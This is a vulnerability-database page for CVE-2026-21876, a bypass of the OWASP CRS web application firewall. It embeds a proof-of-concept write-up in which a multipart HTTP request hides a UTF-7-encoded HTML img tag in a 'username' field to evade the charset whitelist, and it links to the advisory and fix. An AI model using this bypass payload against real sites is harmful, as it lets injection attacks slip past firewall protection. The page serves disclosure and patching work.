Lucene search
K

📄 OWASP CRS WAF Bypass

🗓️ 23 Feb 2026 00:00:00Reported by daytriftnewgenType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 98 Views

CVE-2026-21876 bypasses OWASP CRS WAF via multipart form username whitelist.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2026-21876
7 Jan 202614:48
githubexploit
ATTACKERKB
CVE-2026-4048
20 Apr 202613:36
attackerkb
ATTACKERKB
CVE-2026-3518
20 Apr 202613:29
attackerkb
ATTACKERKB
CVE-2026-3519
20 Apr 202613:32
attackerkb
ATTACKERKB
CVE-2026-3517
20 Apr 202613:22
attackerkb
Tenable Nessus
Amazon Linux 2023 : mod_security_crs (ALAS2023-2026-1399)
5 Feb 202600:00
nessus
Tenable Nessus
Debian dla-4488 : modsecurity-crs - security update
22 Feb 202600:00
nessus
Tenable Nessus
Debian dsa-6105 : modsecurity-crs - security update
21 Jan 202600:00
nessus
Tenable Nessus
Linux Distros Unpatched Vulnerability : CVE-2026-21876
8 Jan 202600:00
nessus
Amazon
Important: mod_security_crs
5 Feb 202600:00
amazon
Rows per page
# CVE-2026-21876 (OWASP CRS WAF bypass)
    CVE-2026-21876 docker container + minimal PoC.
    
    I would like to thank [@airween](https://github.com/airween) and [@fzipi](https://github.com/fzipi) separately for their quick response! The vulnerability fix was ready in a very short time.
    # PoC
    ```
    POST /submit HTTP/1.1
    Host: localhost
    User-Agent: curl/8.17.0
    Accept: */*
    Origin: https://example.com
    Content-Length: 367
    Content-Type: multipart/form-data; boundary=------------------------cmOi6twNhVJDu76bOwDTVz
    
    --------------------------cmOi6twNhVJDu76bOwDTVz
    Content-Disposition: form-data; name="username"
    Content-Type: text/plain; charset=utf-7
    
    +ADw-img+ACA-src+AD0-x+AD4-
    --------------------------cmOi6twNhVJDu76bOwDTVz
    Content-Disposition: form-data; name="dummy"
    Content-Type: text/plain; charset=utf-8
    
    dummy
    --------------------------cmOi6twNhVJDu76bOwDTVz--
    ```
    The `username` value is not checked for characters that are not included in the whitelist, which leads to WAF bypass.
    # Bypass demo
    <img width="1840" height="932" alt="изображение" src="https://github.com/user-attachments/assets/163628c0-19da-4a95-bbac-c85a7b9fbd7c" />
    
    # The same payload is blocked here
    <img width="2076" height="658" alt="изображение" src="https://github.com/user-attachments/assets/1f4525d4-41a0-4d59-9538-77ac5de42caa" />
    
    # References
    - [Github security advisory](https://github.com/coreruleset/coreruleset/security/advisories/GHSA-36fv-25j3-r2c5)
    - [OWASP CRS walkthrough blogpost](https://coreruleset.org/20260106/cve-2026-21876-critical-multipart-charset-bypass-fixed-in-crs-4.22.0-and-3.3.8/)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Feb 2026 00:00Current
5.5Medium risk
Vulners AI Score5.5
CVSS 3.15.3 - 9.3
EPSS0.03371
SSVC
98